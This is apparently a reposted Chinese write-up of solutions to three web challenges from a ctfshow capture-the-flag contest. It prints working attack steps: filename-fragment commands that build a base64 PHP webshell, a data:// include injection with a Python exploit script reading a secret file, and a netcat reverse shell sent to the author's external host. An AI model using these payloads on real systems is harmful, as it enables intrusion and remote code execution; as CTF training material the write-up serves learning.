• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

ctfshow七夕杯web

武飞扬头像
SheepLeeeee
帮助1

1.签到

审计js可以知道这里是限制7字符的命令执行,思路就是把要执行的命令一点一点的写在文件名上,然后利用ls -t,按照时间对于文件进行排序,ls -t>0,就可以把文件名按照时间顺序排序写进0文件中,这里需要知道。

1.linux中可以用\使指令连接下一行,这样就可以写多行命令了。
2.文件中前面命令出错,会自动跳过,不影响后面命令的执行。
3.可以用sh,bash,source, .来执行一个脚本。

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
//echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
学新通

分段执行即可写入一句话<?php eval($_GET[1]);?>蚁剑连接即可。具体关于限制长度命令执行可以参考传送给门

2.easy_calc

明显的代码审计。

<?php

if(check($code)){

    eval('$result='."$code".";");
    echo($result);    
}

function check(&$code){

    $num1=$_POST['num1'];
    $symbol=$_POST['symbol'];
    $num2=$_POST['num2'];

    if(!isset($num1) || !isset($num2) || !isset($symbol) ){
        
        return false;
    }

    if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
        return false;
    }

    if(preg_match("/^[\ \-\*\/]$/", $symbol)){
        $code = "$num1$symbol$num2";
        return true;
    }

    return false;
}
学新通

这里对诸多符号进行过滤,就是提示我们用没过滤的符号来进行解题。eval说明这里是任意代码执行,这里不能用括号,说明我们需要不用括号来进行任意代码执行。php中不用括号使用的函数,叫做语言结构,常见的有include、require、echo。那么思路很明确了同过include文件包含来执行代码,最先想到的应该是php伪协议了,具体伪协议可以看另一篇文章[极客大挑战 2019]Secret File&文件包含常用伪协议以及姿势
这里我们用到的是data伪协议来进行任意代码执行。
通过data协议写一句话,这里过滤了<>所以我们需要对执行的代码进行编码,

include "data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnYSddKTs/Pg"
也就是include "data://text/plain;base64,<?php eval($_GET['a']);?>"

中间的symbol参数只能用运算符所以只能赋值为/。所以我们的传参思路为:

num1=include "data:/&symbol=/&num2=text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnYSddKTs/Pg"

当然不能忘记了用get传递a的值来执行系统命令,最终步骤:
学新通
最后来个一把嗦脚本:

import requests

url = "http://ccfc9267-101d-44e3-a1bd-80fd4768081f.challenge.ctf.show/"#这里记得用你自己的容器地址哦

def getFlag():
        data={
                "num1":'include "data:/',
                "symbol":"/",
                "num2":'text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnYSddKTs/Pg"'
        }

        response = requests.post(url=url "?a=system('cat /secret');",data=data)
        print(response.text)

if __name__ == '__main__':
        getFlag()
学新通

getflag!

3.easy_cmd

还是给出了代码。

<?php

error_reporting(0);
highlight_file(__FILE__);

$cmd=$_POST['cmd'];

if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){
        exec(escapeshellcmd($cmd));
}
?>

只让用ping,ls,nc,ifconfig。当然首选nc反弹一个shell到自己的本机。
现在本机监听nc -lvp 8080
传递参数nc q57a158264.zicp.fun 18568 -e /bin/sh
由于我没有公网IP用的是花生壳内网穿透分配的域名映射。花生壳用法可以看ctfshow的哔哩哔哩技术分享这里就不多做赘述了传送门—>无公网IP反弹shell
反弹shell之后直接执行命令即可。
学新通

4.easy_cmd

这题超出我现在的学习进度了哈哈,努力学习!努力做大佬!
最后官方wp—>七夕杯官方wp

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhighebb
系列文章
更多 icon
同类精品
更多 icon
继续加载